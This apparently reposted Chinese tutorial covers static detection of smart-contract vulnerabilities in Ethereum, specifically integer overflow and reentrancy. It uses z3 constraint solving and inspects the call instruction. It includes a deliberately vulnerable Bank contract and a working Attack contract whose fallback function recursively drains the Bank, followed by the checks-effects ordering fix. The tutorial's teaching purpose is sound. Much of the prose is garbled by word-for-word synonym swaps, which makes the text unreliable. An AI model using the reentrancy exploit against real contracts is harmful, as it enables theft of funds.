本章起首引见了z3的基础用法,今后以基础块1为例,剖析了怎样运用z3把指令转换成表达式,同时也剖析了怎样对转换后的表达式举行束缚求解。鄙人一章中我们将会引见怎样在束缚求解的历程当中到场对智能合约漏洞的剖析,出色不容错过。

第五章 罕见的智能合约漏洞和检测要领

在本章中,我们起首会引见智能合约中罕见的漏洞,今后会剖析检测这些漏洞的要领。

5.1 智能合约中罕见的漏洞

5.1.1 整数溢出漏洞

我们以8位无标记整数为例剖析溢出发作的缘由,以下图所示,最大的8位无标记整数是255,若是此时再加1就会变成0。

详解区块链平安-以太坊的智能合约如何静态

Solidity言语支撑从uint8到uint256,uint256的取值局限是0到2^256-1。若是某个uint256变量的值为2^256-1,那末这个变量再加1就会发作溢出,同时该变量的值变成0。

pragma solidity ^0.4.20;
contract Test {

    function overflow() public pure returns (uint256 _overflow) {
        uint256 max = 2**256-1;
        return max + 1;
    }
}

上面的合约代码中,变量max的值为2^256-1,是uint256所能透露表现的最大整数,若是再加1就会发作溢出,max的值变成0。

5.1.2 重入漏洞

当智能合约向另一个智能合约转账时,后者的fallback函数会被挪用。若是fallback函数中存在歹意代码,那末歹意代码会被实行,这就是重入漏洞发作的前提。那末重入漏洞在甚么情况下会发作呢,下面我们以一个存在重入漏洞的智能合约为例举行剖析。

pragma solidity ^0.4.20;

contract Bank {
    address owner;
    mapping (address => uint256) balances;

    constructor() public payable{ 
        owner = msg.sender; 
    }

    function deposit() public payable { 
        balances[msg.sender] += msg.value;
    }

    function withdraw(address receiver, uint256 amount) public{
        require(balances[msg.sender] > amount);
        require(address(this).balance > amount);
        // 运用 call.value()()举行ether转币时,没有Gas限定
        receiver.call.value(amount)();
        balances[msg.sender] -= amount;
    }

    function balanceOf(address addr) public view returns (uint256) { 
        return balances[addr]; 
    }
}

contract Attack {
    address owner;
    address victim;
    constructor() public payable { 
        owner = msg.sender;
    }
    function setVictim(address target) public{
        victim = target;
    }
    function step1(uint256 amount) public  payable{
        if (address(this).balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    function step2(uint256 amount) public{
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() public{
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) public{
        step1(amount);
        step2(amount / 2);
    }
    function () public payable {
        if (msg.sender == victim) {
            // 再次实验挪用Bank合约的withdraw函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
        }
    }
}

在上面的代码中,智能合约Bank是存在重入漏洞的合约,其内部的withdraw()要领运用了call要领举行转账,运用该要领转账时没有gas限定。
智能合约Attack是个歹意合约,用来对存在重入的智能合约Bank举行进击。进击流程以下:

  • Attack先给Bank转币
  • Bank在其内部的帐本balances中纪录Attack转币的信息
  • Attack请求Bank退币
  • Bank先退币再修正帐本balances

题目就出在Bank是先退币再去修正帐本balances。由于Bank退币的时刻,会触发Attack的fallback函数,而Attack的fallback函数中会再次实行退币操纵,云云递归下去,Bank没有机会举行修正帐本的操纵,末了致使Attack会屡次收到退币。

5.2 漏洞的检测要领

5.2.1 整数溢出漏洞的检测

经由历程束缚求解可以或许很轻易的发明智能合约中的整数溢出漏洞,下面我们就经由历程一个详细的例子一步步的剖析。

起首对5.1.1节中的智能合约举行反编译,获得的局部反编译代码以下:

000108: PUSH1 0x00
000110: DUP1
000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
000144: SWAP1
000145: POP
000146: PUSH1 0x01
000148: DUP2
000149: ADD
000150: SWAP2
000151: POP
000152: POP
000153: SWAP1
000154: JUMP

这段反编译后的代码对应的是智能合约中的overflow函数,第000149行的ADD指令对应的是函数中max + 1这行代码。ADD指令会把栈顶的两个值出栈,相加后把效果压入栈顶。下面我们就经由历程一段伪代码来演示怎样检测整数溢出漏洞:

def checkOverflow():
    first = stack.pop(0)
    second = stack.pop(0)

    first = BitVecVal(first, 256)
    second = BitVecVal(second, 256)

    computed = first + second
    solver.add(UGT(first, computed))
    if check_sat(solver) == sat:
        print "have overflow"

我们先把栈顶的两个值出栈,然后运用z3中BitVecVal()函数的把这两个值改变成位向量常量,接着盘算两个位向量常量相加的效果,末了构建表达式UGT(first, computed)来推断加数是不是大于相加的效果,若是该表达式有解则申明会发作整数溢出[4]。

5.2.2 重入漏洞的检测

在剖析重入漏洞之前,我们先来总结在智能合约顶用于转账的要领:

  • address.transfer(amount):
    当发送失利时会抛出非常,只会通报2300Gas供挪用,可以或许防备重入漏洞

  • address.send(amount):
    当发送失利时会返回false,只会通报2300Gas供挪用,可以或许防备重入漏洞

  • address.gas(gas_value).call.value(amount)():
    当发送失利时会返回false,通报一切可用Gas举行挪用(可经由历程 gas(gas_value) 举行限定),不克不及有用防备重入

经由历程以上对照不难发明,transfer(amount)send(amount)限定Gas最多为2300,运用这两个要领转账可以或许有用地防备重入漏洞。call.value(amount)()默许不限定Gas的运用,这就会很轻易致使重入漏洞的发作。既然call指令是发作重入漏洞的缘由地点,那末接下来我们就详细剖析这条指令。

call指令有七个参数,每一个参数的寄义以下所示:

call(gas, address, value, in, insize, out, outsize)

  • 第一个参数是指定的gas限定,若是不指定该参数,默许不限定。
  • 第二个参数是吸收转账的地点
  • 第三个参数是转账的金额
  • 第四个参数是输入给call指令的数据在memory中的肇端地点
  • 第五个参数是输入的数据的长度
  • 第六个参数是call指令输出的数据在memory中的肇端地点
  • 第七个参数是call指令输出的数据的长度

经由历程以上的剖析,总结下来我们可以或许从以下两个维度去检测重入漏洞

  • 推断call指令第一个参数的值,若是没有设置gas限定,那末就有发作重入漏洞的风险
  • 搜检call指令今后,是不是另有其他的操纵。

第二个维度中提到的call指令今后是不是另有其他操纵,是怎样可以或许检测到重入漏洞的呢?接下来我们就详细剖析下。在5.1.2节中的智能合约Bank是存在重入漏洞的,根本缘由就是运用call指令举行转账没有设置Gas限定,同时在withdraw要领中先退币再去修正帐本balances,症结代码以下:

receiver.call.value(amount)();
balances[msg.sender] -= amount;

实行call指令的时刻,会触发Attack中的fallback函数,而Attack的fallback函数中会再次实行退币操纵,云云递归下去,致使Bank没法实行接下来的修正帐本balances的操纵。此时若是我们对代码做出以下调解,先修正帐本balances,今后再去挪用call指令,虽然也还会触发Attack中的fallback函数,Attack的fallback函数中也还会再次实行退币操纵,然则每次退币操纵都是先修正帐本balances,以是Attack只能获得本身之前存放在Bank中的币,重入漏洞不会发作。

balances[msg.sender] -= amount;
receiver.call.value(amount)();

总结

第一章介绍了智能契约编译的构建和编译器的应用。第二章介绍了常用的汇编指令,并逐行分析了反编译代码。前两章是基本的准备,从第3章开始,我们使用反编译代码构建一个完整的掌握流程图。在第4章中,我们介绍了z3的使用,以及如何使用z3将主流程图的基本块中的指令转换成数学表达式。第五章详细分析了在绑定解决方案过程中,如何通过整数溢出和可重入漏洞的情况来检测智能契约中的漏洞。最后,我希望读者在阅读完这篇文章后能够有所收获,如果有不足之处就迎接斧头。


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明详解区块链平安-以太坊的智能合约如何静态
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址